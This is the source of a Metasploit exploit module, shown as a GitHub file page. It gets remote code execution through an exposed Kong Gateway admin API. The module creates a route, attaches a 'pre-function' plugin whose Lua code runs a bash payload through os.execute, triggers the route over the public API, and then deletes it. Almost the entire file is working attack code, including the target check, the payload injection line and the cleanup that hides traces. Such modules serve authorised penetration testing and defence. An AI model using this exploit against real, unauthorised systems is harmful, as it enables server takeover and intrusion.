-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
kong_gateway_admin_api_rce.rb
160 lines (142 loc) · 5.62 KB
/
kong_gateway_admin_api_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kong Gateway Admin API Remote Code Execution',
'Description' => %q{
This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
route is deleted, which also deletes the plugin.
},
'License' => MSF_LICENSE,
'Author' => ['Graeme Robinson'],
'References' => [
['URL', 'https://konghq.com/'],
['URL', 'https://github.com/Kong/kong'],
['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']
],
'Platform' => %w[linux macos],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-10-13',
'DefaultOptions' => { 'RPORT' => 8001 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),
OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),
OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])
],
self.class
)
end
def check_response(response, expected, path, description)
fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
return if response.code == expected
fail_with(Failure::UnexpectedReply,
"Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
end
def create_route
path = normalize_uri(target_uri.path, 'routes')
response = send_request_cgi({
'method' => 'POST', 'uri' => path,
'vars_post' => { 'name' => @rand_name, 'paths' => "/#{@rand_name}" }
})
check_response(response, 201, path, 'creating route')
end
def create_plugin
# The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of
# os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.
cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}
path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')
response = send_request_cgi({
'method' => 'POST', 'uri' => path,
'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd }
})
check_response(response, 201, path, 'creating plugin')
end
def request_route
path = normalize_uri(target_uri.path, @rand_name)
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
retry_count = 0
begin
response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })
check_response(response, 503, path, 'requesting route')
rescue Msf::Exploit::Failed
maximum_retries = 3
if retry_count <= maximum_retries
retry_count += 1
print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
sleep(retry_count**2)
retry
end
raise
end
end
def delete_route
path = normalize_uri(target_uri.path, 'routes', @rand_name)
# Delete it
response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })
check_response(response, 204, path, 'deleting route')
# Check Whether it deleted
response = send_request_cgi({ 'uri' => path })
check_response(response, 404, path, 'verifying that route has been deleted')
end
def check
@route_cleanup_required = false
# Check admin API
response = send_request_cgi
return CheckCode::Unknown unless response
return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'
# Check public API
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
path = normalize_uri(target_uri.path, @rand_name)
response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
return CheckCode::Unknown unless response
return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'
CheckCode::Appears
end
def exploit
@rand_name = rand_text_alphanumeric(10)
@route_cleanup_required = false
fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
@route_cleanup_required = true
create_route
vprint_good("Created route #{@rand_name}")
create_plugin
vprint_good("Created plugin for route #{@rand_name}")
request_route
vprint_good("Requested route #{@rand_name} using public API")
end
def cleanup
return unless @route_cleanup_required
delete_route
vprint_good("Deleted route #{@rand_name}")
end
end